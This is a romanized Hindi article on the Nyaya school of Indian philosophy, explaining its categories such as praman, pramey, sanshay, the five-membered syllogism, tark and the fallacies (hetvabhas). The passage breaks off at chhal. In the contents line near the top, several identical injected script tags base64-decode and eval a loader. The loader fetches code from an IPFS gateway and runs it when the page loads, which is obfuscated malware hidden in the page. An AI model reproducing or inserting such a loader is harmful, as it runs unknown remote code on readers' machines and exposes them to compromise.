न्याय दर्शन के प्रतिपाद्य

nyay darshan vishay soochi

nyay darshan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pravartak   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nyay darshan ke pratipady   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pramey ka ullekh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> praman ka ullekh

[[chitr:Nyaya-Darshan.jpg|thumb|nyay darshan|250px]] nyay darshan sanskrit shabd hai, jisaka arth hai- "vyutpatti ke adhar par margadarshan karane vala". jis padarth mean laukik tatha parikshak donoan ki buddhi ka samy ho, vaishamy (virodh) nahian rahe, us padarth ko drishtant kahate haian. svabhavik roop se tatha shastroan ke anushilan se hone vale buddhi ke prakarsh ka labh jisane nahian kiya hai, vah laukik pad se yahaan abhipret hai aur jisane shastroan ke anushilan se buddhi ka prakarsh prapt kiya hai tatha laukik ko bhi tattv samajhane ki samarthy rakhata hai vah parikshak hai. yahaan nyay darshan ke pratipady uparyukt solah padarthoan ka yathakram sankshep mean parichay prastut hai-

praman

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prapoorvak ma dhatu se karan arth mean lyuth pratyay karake lyuth ke an adesh hone par praman pad nishpann hota hai. jisase vishay ka yatharth anubhav ho use us vishay mean praman kaha jata hai, jo isaka vyutpattilabhy arth hai. prama arthath utkrisht jnan ka karan praman hai. jnan ki utkrishtata usake yatharth hone se hoti hai. yadyapi yatharth jnan anubhav aur smaran ke bhed se do prakar ke hote haian tathapi smaran ka asadharan karan roop karan anubhav hi hota hai at: anubhav hi pramukh roop se 'prama' kahalata hai. smaran to anubhoot vishay ka hi hota hai, at: smaran sthal mean anubhav hi praman hota hai. phalat: anubhav roop pradhan prama ka asadharan karan praman hota hai. anubhav ke char prakar kahe gaye haian-

1. pratyaksh,
2. anumiti,
3. upamiti
4. shabdabodh.

atev praman bhi char prakar ke mane gaye haian-

1. pratyaksh,
2. anuman,
3. upaman
4. shabd.

pramey

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nyay darshan mean praman ke vad pramey ka ullekh hua hai. pratham sootr mean ullikhit tattvajnan se pramiti abhipret hai, jisaki utpatti mean isake vishay apekshit hote jo pramey kahalate haian. mumukshuoan ke lie is pramey padarth ka jnan avashyak hai. prakrisht - sarvashreshth, mey-jney= pramey barah prakar ke yahaan he gaye haian- atma, sharir, indriy, arth, buddhi, manash, pravritti, dosh, pretyabhav, phal, du:kh aur apavarg. vastumatr, jo praman se siddh kiya jata hai, pramey hota hai atev maharshi gautam ne avasar par praman ko bhi pramey kaha hai- ‘prameya ch tula pramanyavath‘ (2/1/16). jaise suvarn adi dravy ke gurutv vishesh ka nirdharan tarajoo (tula) se hota hai, us samay tarajoo (tula) gurutv nirdharak hone se praman mana jata hai. kintu us tarajoo (tula) mean hi yadi kisi ka sandeh ho to doosare tarajoo par use rakhakar usake pramany ki pariksha ki jati hai, tab vah pramey ho jata hai. isi tarah pramey ke sadhak pratyaksh adi praman haian, kintu unamean yadi pramany sandigdh ho jae to pramanantar se usaki pramanyasiddhi ke samay vah praman bhi pramey ho jata hai.

sanshay

ajnat aur nishchit padarthoan mean nyay ki pravritti nahian hoti hai, apitu sandigdh padarth mean usaki pravritti dekhi jati hai at: nyay ke poorvag ke roop mean yahaan sanshay ko mana gaya haian. abhipray yah hai ki jijnasa jnan ki janani hai, jo sanshay ke bina nahian hoti. kisi ek dharmi mean nana viruddh dharmoan ka jnan hi sanshay padarth hai. jaise andhakar mean kh de hue lambayaman vastu mean shakhapatr rahit vriksh (thooanth) tatha purush ke hone ka sandeh hota hai. nyayasootrakar tatha bhashyakar ne isake paanch prakar kahe haian-

1. sadharan dharm vishisht dharmi ke jnan se
2. asadharan dharm vishisht dharmi ke jnan se
3. ek adhar mean do viruddh padarthoan ko kahane vale vipratipatti vaky se
4. upalabdhi ki avyavastha arthath aniyam se
5. anupalabdhi ki avyavastha se sanshay hota hai.

yahaan visheshajnan ki ichchha rahati hai kintu vishesh dharm ki upalabdhi nahian rahati hai. haan. usaki smriti avashy rahati hai. yahaan sanshay ke prakar mean bhashyakar se nyayavarttikakar ka matabhed hai. varttikakar ki drishti mean upalabdhi tatha anupalabdhi ki avyavastha se kramash: sadhak praman evan badhak praman ka abhav vivakshit hai. ye donoan hi sanshay matr samany karan hai, kisi khas prakar ke sanshay ke karan nahian haian. phalat: inake mat mean sanshay tin hi prakar ke hote haian. paravarti naiyayikoan ne yahaan varttikakar ka hi anusaran kiya hai. yahaan yah avadhey hai ki vadi aur prativadi ko apane siddhantoan mean sanshay nahian rahata hai, kintu madhyasth ke sandeh nirakaran ke lie ve (vadi aur prativadi) paraspar pratijna adi panchavayav vakyoan ke prayog ke dvara apane paksh ka sthapan aur parapaksh ke khandan ka prayas karate haian.

prayojan

sanshay ki tarah prayojan bhi nyay ka poorvaang hai. prayojan ke bina jab mand (moorkh) bhi kahian pravritt nahian hota. to nyay ki pravritti kaise ho sakati hai. jis padarth ko hey ya upadey samajhakar use chho dane ya pane ke lie vyakti upay karata hai, use prayojan kahate haian. mukhy tatha gaun ke bhed se isake do prakar mane gaye haian. sukh ki upalabdhi tatha du:kh ki nivritti mean jiv ki svat: ichchha hoti hai, atev use mukhy ya svat: siddh prayojan kahate haian. aur sukh tatha du:kh ki nivritti ke upayoan ko gaun ya parampara prayojan kahate haian.

drishtant

jis padarth mean laukik tatha parikshak donoan ki buddhi ka samy ho, vaishamy (virodh) nahian rahe, us padarth ko drishtant kahate haian. svabhavik roop se tatha shastroan ke anushilan se hone vale buddhi ke prakarsh ka labh jisane nahian kiya hai vah laukik pad se yahaan abhipret hai aur jisane shastroan ke anushilan se buddhi ka prakarsh prapt kiya hai tatha laukik ko bhi tattv samajhane ki samarthy rakhata hai vah parikshak hai. yahaan avadhey hai ki drishtant aanshat: hi saman hota hai, sarvaanshat: nahian. atev kis sandarbh mean kis bhav mean tatha kis aansh mean drishtant ka ullekh hua hai- isaka pranidhan avashyak hai. is drishtant ke bina pratipakshi ko kuchh samajhana sanbhav nahian hai. svapaksh-samarthan tatha parapaksh-khandan ka yah ek upakaran hai. isamean lok evan praman donoan se siddh padarth hi prayukt hota hai. isake do prakar mane gaye haian- sadharmy drishtant aur vaidharmy drishtant. yah bhi nyay ka poorvaang hai.

siddhant

kisi siddhant ki sthapana ke lie hi drishtantamoolak nyayavaky ka prayog hota hai. atev ukt nyay ke ashray ke roop mean isaka parigrah hua hai. svabhavik jijnasa hoti hai ki siddhant kya hai tatha isake kitane prabhed haian. shastrasiddh padarth ka nishchay hi siddhant hai. nyayasootr kahata hai ki ‘tantradhikaranabhyupagamasansthiti: siddhant:’ 1/1/26 . yahaan tantr pad shastr ka vachak hai. at: vah (shastr) jisaka adhar ho usaka svikaratmak nishchay hi siddhant hai. isake char prabhed yahaan nirdisht haian-

1. sarvatantr - jo sabhi shastroan ke avirodhi ho aur kisi ek shastr mean kaha gaya ho, vah sarvatantr siddhant hai.
2. pratitantr - jis sampraday ka jo siddhant apane shastr mean siddh hai aur any shastroan mean many nahian hai, vah pratitantr siddhant hai.
3. adhikaran - jis padarth ke siddh hone se any padarth ki siddhi hoti hai, vah adhikaran siddhant hai. arthath jis padarth ki siddhi ke bina jo any padarth any pramanoan se siddh nahian hota hai vahi padarth adhikaran siddhant hai.
4. abhyupagam - jis sthal mean prativadi kisi padarth mean aparikshit dharm ko svikar kar leta hai, us padarth mean usake (vadi ke) asammat any vishesh dharm ki pariksha karata hai, us sthal mean prativadi ka svikrit apar siddhant abhyupagam siddhant kahalata hai..

avayav

nyay ki prakriya se siddhant ke nishchay hetu avayav padarthoan ka tattvajnan avashyak hai. pratijna, hetu, udaharan, upanay aur nigaman- in paanch khand vakyoan ko avayav kahate haian ise nyay ka svaroop kaha gaya hai. vachaspati mishr ne kaha hai ki jaise savayav dravy ke sabhi avayav milakar us dravy ke svaroop ko dharan karate haian, isi tarah yathakram pratijna adi paanchoan vaky milakar nyay namak mahavaky ka roop dharan karate haian. yah mahavaky vakta ke vishisht arth ke pratipadan mean samarth hota hai. phalat: yathakram uchcharit pratijna adi panchavayav roop vaky samashti hi nyay hai. pratijna adi khandavaky isake avayav kahalate haian. avayav ka yahaan gaun prayog hua hai, mukhy prayog to isaka avayavi ke (dravy ke) aang roop mean prasiddh hai.

pratijna

pratijna se sadhy ka nirdesh abhipret hai. yahaan sadhy pad ke do arth hote haian- dharm tatha dharmi. kisi dharmi mean dharm ke anuman karane ke uddeshy se yadi nyay ka vyavahar hota hai, to vah anumey dharm sadhy hota hai aur yadi usi dharm se yukt dharmi sadhy hota ha, to vah (dharmi ka sadhy hona) usaka doosara prakar hai. phalat: sadhaniy dharmavishisht dharmi ke bodhak vaky ko pratijna kahate haian.

hetu

anumey dharm ke liang ko athava hetutv bodhak vaky ko hetu-shabd se liya jata hai. vakyatmak is hetu ke do prakar hote haian- sadharmy hetu aur vaidharmy hetu. yahaan sadharmy aur vaidharmy se sadhyadharmi aur udahrit padarth (drishtant) ka saman ya asaman dharm yathakram vivakshit hai, jahaan hetu ke sath sadhy arthath anumey dharm ki vyapti ka nishchay hota hai. is hetu ka pancharoopatv- pakshasatv, sapakshasatv, vipakshasatv, asatpratipakshatv tatha abadhitattv apekshit hai. anyatha inamean se kisi ek ke nahian kahane par hetu hetu nahian rahakar hetvabhas ho jata hai. udaharan- jis vaky se hetu aur sadhy mean vyapyavyapakabhav sanbandh jnat hota hai use udaharan vaky kahate haian. isake do prakar haian- sadharmyoandaharan tatha vaidharmyodaharan. sadhy dharmi ke saman dharm ki sthiti ke karan, jis padarth mean sadhy dharm bhi rahata hai, us padarth ko sadharmy drishtant kahate haian. anvay drishtant bhi isaka namantar hai. is drishtant vachak vaky ko sadharmyodaharan kaha gaya haian isi tarah vaidharmyabodhak ya vyatirek drishtant ka vachak vaky vaidharmyodaharan pad se abhihit hota hai.

upanay

udaharan vaky ke do prakar hone se upanay vaky ke bhi do prakar hona svabhavik hai. udaharanaky ke anusar sadhy dharmi ke sath ‘tatha‘ athava ‘n tatha’ jo dakar upasanhar vaky ka kathan upanay pad se abhipret hai. sadharmyopanay tatha vaidharmyopanay mean ‘tatha’ evan ‘n tatha’ yathakram vaky mean jo da jata hai.

nigaman

pratijnavaky ke bad jo hetuvaky kaha jata hai, usaka ullekh karate hue pratijnavaky ka pun: kathan ‘nigaman’ hai. yah ek roop hi hota hai. isake prakarantar nahian hote. achary bhasarvajn ne apane nyayasar mean nigaman ke bhi do prakaroan ko kaha hai kintu vah n to prachalit hai aur n sampradayasvikrit hi. bhashyakar ki drishti se in avayavoan mean nyayasammat charoan pramanoan ka sankalan hua hai. pratijna mean shabd, hetu mean anuman, udaharan mean pratyaksh aur upanay mean upaman praman anulagn hai. lohe ke chh d ki tarah svatantr roop mean vidyaman in charoan pramanoan ka ekatr sangrah nigaman vaky mean hota hai. nyayadarshan yadyapi praman- sanplav- ek vishay ki siddhi mean anek pramanoan ka upayog aur praman-vyavastha- ek praman se ek vishay ki siddhi donoan ko manata hai, tathapi yahaan praman-samplav par hi bal diya gaya pratit hota hai. phalat: nyayavaky mean ek hi vishay mean sabhi pramanoan ki samarthy ka pradarshan hota hai. yadyapi prachinatam kal mean dash avayavoan ki manyata rahi hai. in uparyukt paanch avayavoan ke sath jijnasa, sanshay, shakyaprapti, prayojan aur sanshayavyudas ko yahaan avayav ke roop mean parigrah kiya gaya hai, tathapi nyayabhashyakar ne inaki upeksha kar paanch avayavavad ki sthapana ki hai.

abhipray yah hai ki jijnasa adi parapratipadak nahian hote haian. atev nyay ke avayav nahian ho sakate. doosari bat yah hai ki nishchit vachan hi sadhak hote haian. jijnasa aur sanshay svaroopat: nishchit nahian haian. prayojan to sadhan ke pashchath avagat hote haian. sanshayavyudas aur shakyaprapti ki bhi yahi sthiti hai. atev ye nyay ke avayav nahian ho sakate haian. bhashyakar ne yahaan kaha hai ki katha ke utthapan mean yadyapi sanshay adi samarth haian, avadharaniy arth ke upakarak haian, kintu tattvarth ki sadhakata inamean nahian apitu pratijnadi mean hi hai. jis darshan mean do ya tin avayav mana gaya hai, vahaan bhi in svikrit paanch avayavoan mean hi kam kiya hai arthath usaka bhi adhar yah panchavayav hi hai. avayavoan mean hras ya vriddhi ka adhar isi panchavayav ko mana gaya hai. phalat: is panchavayav ki prachinata aur pramanikata ni:sandigdh hai.

• atev vishnudharmottarapuran mean in paanch avayavoan ka ullekh milata hai-

pratijna hetudrishtantavupasanhar ev ch .
tatha nigamanan chaiv panchavayavamishyate॥

• mahabharat ke sabhaparv mean narad ka panchavayav vaky ke gun-doshoan ke janakar ke roop mean ullekh milata hai- panchavayav vakyasy gunadoshavith.

• charak sanhita ke viman sthan mean is panchavayav nyay vaky ka aksharash: varnan kiya gaya hai. atev is siddhant ki roodhamoolata evan parampara siddh hoti hai.

tark

jis padarth ke tattv ka nishchay nahian hota hai, usake tattvanirnay ke lie usamean karan roop praman ki utpatti se jo ooh kiya jata hai vahi tark hai. do dharmoan ke sandeh hone par ekatarapha paksh mean praman ki upalabdhi ka ooh (manasajnan) karana tark hai. yah ooh n to praman hai aur n to praman ka phal tattv nishchay hi. api tu praman ka sahakari jnanavishesh roop hai. udayanachary ne tatpary parishuddhi mean anisht padarth ke prasang arthath apatti ko tark kaha hai. varadaraj ne tarkikaraksha mean inaka anusaran karate hue moolat: is anisht ka do bhed mana hai- pramanik ka parityag aur apramanik ka parigrah.

tarkoanishtaprasang: syadanishtan dvividhan smritamh.
pramanikaparityagastathetaraparigrah:॥

is tark ke paanch bhed svikrit haian-

1. atmashray,
2. anyonyashray,
3. chakrak,
4. anavastha
5. anishtaprasang.

• varadaraj ki tarkikaraksha mean kaha gaya hai- atmashrayadibheden tark: panchavidh: smrit:.

padarth ki utpatti, sthiti aur jnan mean yah tark kiya jata hai. uparyukt atmashray adi char prakaroan se bhinn sabhi prakaroan ke tark isake pancham prakar mean antarbhoot hote haian. atev laghav, gaurav, vinigaman virah tatha prathamopasthitattv adi prithakh tark ke prabhed nahian mane jate, apitu anisht prasang mean inaka antarbhav ho jata hai. sampraday ka kahana hai ki chooanki laghav adi mean apatti ka svaroop nahian hai, atev inhean tark nahian kaha ja sakata hai. in sab mean bhi tark ki tarah praman ki sahakarita ya upakarakatv vidyaman hai, at: tark ki tarah vyavahar inaka hota raha hai. phalat: tark ke paanch hi prakar nyay darshan mean mane gaye haian. vrittikar vishvanath siddhant panchanan ne vyapak padarth ke abhav mean vyapy padarth ke arop se us vyapak padarth ke arop roop ooh ko tark kaha gaya hai. vyapy padarth ko apadak aur vyapak padarth ko apady kaha jata hai. jis padarth ki apatt ki jae, vah apady aur jis padarth ke arop se apatti ki jae, vah apadak hota hai. apadakarop se apadyarop evan apadyabhav ke arop se apad ka bhav ka arop vyapti ka nishchayak hota hai. tarkik raksha mean is tark ke paanch aang kahe gaye haian. apadak mean apa ki vyapti hi tark ka pratham aang hai. pratitark ka abhav isaka doosara aang hai. apa ke viparit adhar mean avasthan isaka tritiy aang hai. pramanik ka parityag aur apramanik ka parigrah kramash: isaka chaturth aur pancham aang haian. in paanch aangoan mean se kisi ek bhi aang ke abhav mean tark yatharth tark n hokar tarkabhas ho jata hai. tark vishay ka parishodhak aur vyapti ka grahak hota hai. anukool tark ka astitv tatha pratikool tark ka abhav praman ke pramany ke sadhan mean sahayak hota hai. jo tark anuman sthal mean, hetu mean sadhy dharm ke vyabhichar-sanshay ka nivartak hota ho, vah vyapti ka grahak hai aur anukool tark vishay ka parishodhak hota hai.

nirnay

tattv ka avadharana nirnay kahalata hai. yah nyayavaky tatha tark se siddh kiya jata hai. abhipray yah hai ki vadi aur prativadi apane paksh ka sthapan aur parapaksh ka khandan karata hai. isase madhyasth tattv ka avadharan karata hai. yah avadharan hi nirnay hai.

vad

vicharaniy vishay mean anek vaktaoan ke vakyasamooh ko katha kaha jata hai. kisi ek vakta ke poorvapaksh aur uttarapaksh, dosh evan usaka samadhan roop vakyasamooh katha nahian hoti hai. vicharaniy vishay mean vadi evan prativadi ki ukti-pratyuktiroop vachanasamooh katha kahalati hai. isake tin prakar-vad, jalp aur vitanda mane gaye haian. tattvanirnay ke lie guru tatha shishy mean jo vichar kiya jata hai vah vad katha hai. is vad mean pramanat: tark se svapaksh ka sthapan aur parapaksh ka khandan kiya jata hai, jo siddhant ka avirodhi aur panchavayav vaky se yukt hota hai. yahaan paksh aur pratipaksh ka parigrah kiya jata hai. is tarah ke vadi evan prativadi ke vachanasamooh vad pad se abhipret hai. is katha mean kisi bhi paksh ko jay ki ichchha nahian rahati hai, keval tattvanirnay ke lie vad kiya jata hai.

jalp

jalp katha mean vijay ki ichchha se vadi aur prativadi apane-apane siddhant ka sthapan aur parapaksh ka khandan karate haian. yahaan chhal, jati tatha hetvabhas ka prayog evan nigrah sthan ka pradarshan bhi vihit hai.

vitanda

jalpakatha mean yadi pratipakshi ke mat ka sthapan nahian hota hai to vah vitanda kahalati hai. vitanda katha mean prativadi vadi ke mat ka khandan karata hai aur apane mat ka sthapan nahian karata hai. usaka antarnihit ashay yah hai ki vadi ke mat ke khandan kar dene par usaka mat svat: siddh ho jaega. is asha se vah apana mat sthapit nahian karata hai, keval vadi ke mat ka nirakaran karata hai. abhipray yah hai ki vaitandik ka bhi apana mat hota avashy hai, kintu vah usaka sthapan nahian karata karata hai. jalpakatha mean vadi aur prativadi donoan hi niyamapoorvak janchavayav vaky ka prayog karate haian tatha apana-apana mat avashy sthapit karate haian.

jalp aur vitanda ke aang roop mean vadiniyam, prativadi niyam sabhapati niyam, madhyasth niyam tatha sadasy niyam adi ka nirdesh prachin acharyoan ne kiya hai. vadi aur prativadi hone ki apekshit yogyata dekhakar madhyasth dvara usaki niyukti ki jati hai. jisaki bat sab manean aisa prabhavashali vyakti sabhapati ho sakata hai aur vah madhyasth ka chayan karata hai, tab katha (vichar) arambh hoti hai. vadi madhyasth ke samaksh panchavayav vaky ke dvara madhyasth ke prashn ke anusar apana paksh prastut karata hai. isamean dosh nahian hai- isaka yuktipoorvak upapadan karata hai. pun: prativadi vadi ke mat ka sankshep mean anuvad karake usamean dosh dikhakar apana paksh sthapit karata hai. anuvad ke madhyam se hi prativadi yah siddh karana chahata hai ki vah vadi ke vaktavy ko achchhi tarah janata hai. anyatha prativadi ke paksh mean nigrah sthan ki udbhavana bhi ho sakati hai. phalat: nigrah aur anugrah mean samarth prabhavashali sabhapati, nishpaksh evan shastr marmajn madhyasth tatha anushisht arthath yathavihit niyam ke paripalan mean nishthavan vadi aur prativadi vichar ke lie avashyak mane gaye haian. krodh evan kalah ki guanjaish yahaan nahian hoti hai.

vad katha mean is tarah sabhapati ya madhyasth avashyak nahian hote. vah to parnakuti ya vriksh ki chhaya mean baithakar bhi sanbhav hai. guru tatha shishy tattvajnan ke lie yahaan pravritt hote haian. is katha mean jay-parajay yahaan abhipret nahian hai. mumuksh vyakti ko bhi tattvanirnay evan usaki dridhata ke lie is anvikshiki vidya ka adhyayan, dharana tatha nirantar chintan roop abhyas avashyak hai. tadvidy, asooya se rahit shishy, guru, satirthy aur shastr mean nishnat adi kisi ke samip jakar vad katha ki ja sakati hai. 'tadvidy sambhasha' ya 'tadvidy sanvad' pad se prachin kal mean isi ko kaha jata hai. uparyukt tin kathaoan mean vad sarvashreshth hai. yah tattvanirnay se sahayak hota hai. gita mean bhagavan shrikrishna ne bhi kaha hai- 'vad: pravadatamahamh’ samay-samay par jalp evan vitanda bhi karani p dati hai. atev inake tattvajnan bhi avashyak haian.

hetvabhas

anuman mean jo prakrit hetu nahian rahata hai kintu hetu ki tarah pratit hota hai use hetvabhas kahate haian. is hetvabhas ke jnan ke bina ukt tinoan prakaroan ki katha ka adhikar hi nahian kisi ko hota hai. is hetvabhas ke paanch prakar hote haian- savyabhichar, viruddh, prakaranasamh (satpratipaksh) sadhyasam (asiddh) aur kalatit (badh). jo padarth hetu ke sabhi lakshanoan se yukt nahian hai kintu sadrishy ke karan hetu ki tarah pratit hota hai use hetvabhas kahate haian. isaki vyutpatti is prakar hoti hai- ‘hetuvadabhasante iti’. tarkikaraksha mean varadaraj ne kaha hai ki hetu ke kisi ek bhi lakshan se rahit hone par bahut lakshanoan se yukt bhi hetu hetvabhas hota hai aur usake paanch prakar mane gaye hai-

heto: kenapi roopen rahita: kaishchidanvita:.
hetvabhasa: panchadha te gautamen prapanchita:॥

anuman sthal mean pahale yah janana avashyak hai ki hetu ke kya lakshan haian. maharshi gautam hetuvaky ke lakshanasootr mean 'sadhy sadhanamh' pad se aur pashchath paanch prakaroan ke hetvabhas ke dvara hetu ke samany lakshan ki soochana hete haian isi ke adhar par adhunik naiyayik pakshasatv, sapakshasatv, vipakshasatv, asatpratipakshitattv aur abadhitattv – in paanch dharmoan ko hetu ke samany lakshan ke roop mean manate haian. kahian-kahian inamean se char dharmoan ko bhi isaka lakshan mana gaya hai. kyoanki sapakshasatv aur vipakshasatv sarvatr sanbhav nahian hota haian jahaan sadhy ka anuman karana abhisht ho use 'paksh' kahate haian. jahaan sadhy ka astitv nishchit roop se rahata hai use 'sapaksh' kahate haian. jahaan sadhy ka abhav nishchit roop se rahata hai use 'vipaksh' kahate haian. satpratipaksh aur badhak abhav to ukt donoan hetvabhas ke lakshan karane par svat: spasht ho jaega. hetu ke in paanch dharmoan mean se kisi ek ke nahian rahane par ukt paanch prakar ke hetvabhas hote haian.

yatha vipaksh mean hetu ki asatta nahian rahane par savyabhichar namak hetvabhas hota hai. sapaksh mean hetu ki satta ke abhav mean viruddh hetvabhas hota hai. asatpratipakshitattv ke nahian hone se satpratipaksh (prakaranasam) hetvabhas hota hai. paksh mean hetu ke nahian rahane se sadhyasam (asiddh) hetvabhas hota hai aur abadhitattv nahian harane se kalatit(badh) hetvabhas hota hai.

savyabhichar

jo hetu sapaksh tatha vipaksh mean rahata hai vah savyabhichar kahalata hai. kisi ek ant mean jo niyat roop se nahian rahata hai arthath anek antoan mean vidyaman hai use savyabhichar kahate haian. vipakshasatvaroop hetu ke lakshan ke nahian ghatane se hetu sadhyadharm ka vyabhichari hota hai. is hetu mean vyapti hi nahian ho pati hai. atev anuman ke pramukh sadhan vyapti ka yah pratibandhak hota hai. vipaksh mean hetu ka nishchit astitv hi yahaan dosh hai. is dosh ke rahane par vyapti ka nishchay sanbhav nahian hai, at: is hetu se anumiti nahian hoti hai. sadhyadharm ke vyabhichar ka abhav hi vyapti ka svaroop hai, jo anuman ka aang mana gaya hai. prachin naiyayikoan ne isake do prakaroan ko kaha hai-

• sadharan - jo hetu paksh, sapaksh aur vipaksh mean rahata hai use sadharan savyabhichar kahate haian.
• asadharan - jo hetu keval paksh mean hi rahata hai, sapaksh ya vipaksh mean nahian rahata hai use asadharan savyabhichar kahate haian.

navy naiyayayik gangesh upadhyay ne isake tisare prakar anupasanhari ka bhi nirdesh kiya hai. anupasanhari hetu ka sabhi padarth paksh hi hota hai. sapaksh ya vipaksh isaka aprasiddh hota hai. sapaksh ya vipaksh roop drishtant ke abhav mean us tarah ke hetu ke sath sadhyadharm ki vyapti ka nishchay nahian ho pata hai. abhipray yah hai ki sabhi padarthoan ko anuman ke paksh man lene par vahaan jo bhi hetu hoga anusanhari hi hoga.

viruddh

jo hetu sadhyadharm ka vyaghatak hota hai arthath sadhyabhav ka sadhak hota hai vah viruddh namak hetvabhas hai. jaise shabd mean nityatv dharm ke siddhyarth utpattimatv hetu viruddh hai.

prakaranasam (satpratipaksh)

jahaan kisi ek paksh ka nirnay nahian hokar sanshay ke vishay roop paksh aur pratipaksh ke vishay mean jijnasa hoti hai arthath prakaran ke vishay mean chinta hot hai, vahaan nirnay ke lie kaha gaya hetu prakaranasamsatpratipaksh) namak hetvabhas hota hai. yahaan prakaran se prativadi ka paksh aur pratipaksh roop do dharm vivakshit hai. in do dharmoan ke vishay mean madhyasth ki jijnasa hi nyayasootragat prakaranachintapad se abhipret hai.

sadhyasam (asiddh)

sadhyata ke karan jo padarth sadhyadharm ke sadrish rahata hai vah ‘sadhyasam’ ya ‘asiddh’ hetvabhas hota haian yahaan hetu mean paksh sattvaroop hetu ka lakshan nahian rahata hai, at: hetu n hokar vah hetvabhas hota hai. paravartikal mean yah sadhyasam 'asiddh' kahalane laga. nyayavarttik mean isake tin bhed kahe gaye haian-

1. svaroopasiddh - paksh mean yadi hetu hi nahian rahe to svaroopasiddh kahalata hai. jaise hrid dravy hai, kyoanki vahaan dhoom hai. ‘hrado dravyan dhoomath’.
2. ashrayasiddh - pakshatavachchhedak dharm yadi paksh mean nahian rahe to pakshasiddh ya ashrayasiddh hota hai. jaise ‘kanchanamay: parvato vahnimanh’ is anuman mean kanchanamayatv dharm parvat mean nahian rahata hai.
3. anyathasiddh - jo hetu anyatha doosare prakar se siddh ho jae use anyathasiddh kahate haian. jaise chhaya dravy hai kyeki isamean gati dekhi jati hai- ‘chhaya dravyan gatimatvath.’ yahaan alokavishesh ke abhav ko chhaya manane par bhi sthanantar mean usaka darshan ho sakata haian kyoanki prativadi ke mat mean abhav ka bhi chakshush pratyaksh hota hai. kintu any darshanikoan ke mat mean chhaya dravy padarth nahian hai, to bhi sthanantar mean usaka darshan hota hai. at: yah hetu anyathasiddh hua. sopadhik hetu ko bhi anyathasiddh kaha gaya hai.

• navy naiyayik ki drishti mean asiddh ka tisara bhed anyathasiddh n hokar vyapyatvasiddh hota haian hetu ki vyarth visheshanavatta vyapyatvasiddhi kahalati hai. tarkabhasha mean isake do upabhed mane gaye haian- hetu mean vyaptinishchay ka abhav aur upadhi se yukt hetu ki satta.
• kisi-kisi naiyayik ki drishti mean siddhasadhan aur aprayojak do adhik hetvabhas hote haian bhasarvajn ne nyayasar mean anadhyavasit ko chhatha hetvabhas mana hai. kintu achary udayan ne nyayakusumanjali mean hetvabhas ke paanch se adhik prakaroan ko gautamasammat nahian kaha hai. anyatha hetvabhas ka vibhajak nyayasootr vyarth ho jaega.
• achary udayan ki drishti mean any sabhi hetvabhasoan ka inhian paanch hetvabhasoan mean antarbhav hota hai. jaise siddhasadhan ka antarbhav ashrayasiddhi mean hota hai.
• sadhyadharm ki vyapti se yukt pakshadharmaroop jo hetu, vah sadhyadharm ke sadrish hai arthath asiddh hai sadhyasam hai. yahaan yahi abhipray gautam ka pratit hota hai.
• yahaan yah janana avashyak hai ki upadhi kise kahate haian. anuman ke sthal mean jo padarth sadhy ka vyapak ho aur sadhan ka avyapak hai use ‘upadhi’ kahate haian. yah upadhi sandigdh evan nishchit ke bhed se do prakar ki hoti hai. jis padarth ke sadhy dharm ki vyapakata mean athava hetu ki avyapakata mean athava in donoan mean hi sandeh ho vah sandigdh upadhi hai. sandigdh upadhi ke sthal mean, hetu mean sadhy dharm ke vyabhichar ka sandeh hone se us hetu se anumiti nahian hoti hai. nishchit upadhi ke sthal mean us upadhi padarth ke vyabhicharitv hetu se hetu padarth mean us sadhy dharm ke vyabhichar ki anumati hoti hai. jisase vyabhichar nishchay roop pratibandhak ke vidyaman rahane se vyaptinishchay nahian ho pata ha. aur usake abhav mean anumati bhi nahian hoti hai. aprayojak bhi vahian hetu hota hai jahaan upadhi ka sandeh ya nishchay rahata hai. is sthal mean hetu mean sadhy ke vyabhichar sanshay ka nivartak anukool tark nahian rahata hai.

kalatit (badhit)

jo hetu anuman ke kal bit jane par prayukt hota hai vah kalatit ya badhit kahalata hai. tatpary yah hai ki jab tak paksh (dharmi) mean sadhy dharm ke abhav ka nishchay nahian hua hai, tab tak us dharmi mean us sadhy dharm ki anumiti ho sakati hai. kintu kisi sabal praman se us sadhyadharm ke abhav ke nishchay ho jane par, us dharmi mean us dharm ki anumiti ka samay nahian rah pata hai. phalat: anuman ke kal bit jane par jo prayukt hota hai vah kalatit hai. tarkikaraksha mean kaha gaya hai-

kalatito balavata pramanen prabadhit:. (balavanh praman se badhit hetu badh, badhit ya kalatit kahalata hai.)

chhal

jalp aur vitanda kathaoan mean prativadi yadi avasar par kisi karan se saduttar nahian de pata hai, to parajay ke bhay se chup n rahakar asaduttar kahane ke lie bhi kabhi vivash ho jata hai. yah asaduttar vishesh hi chhal padarth hai. vadi ke abhimat shabdarth se bhinn arth ki kalpana karake vadi ke vachan ka khandan karana chhal namak asaduttar hota hai. isake tin prakar varnit haian-

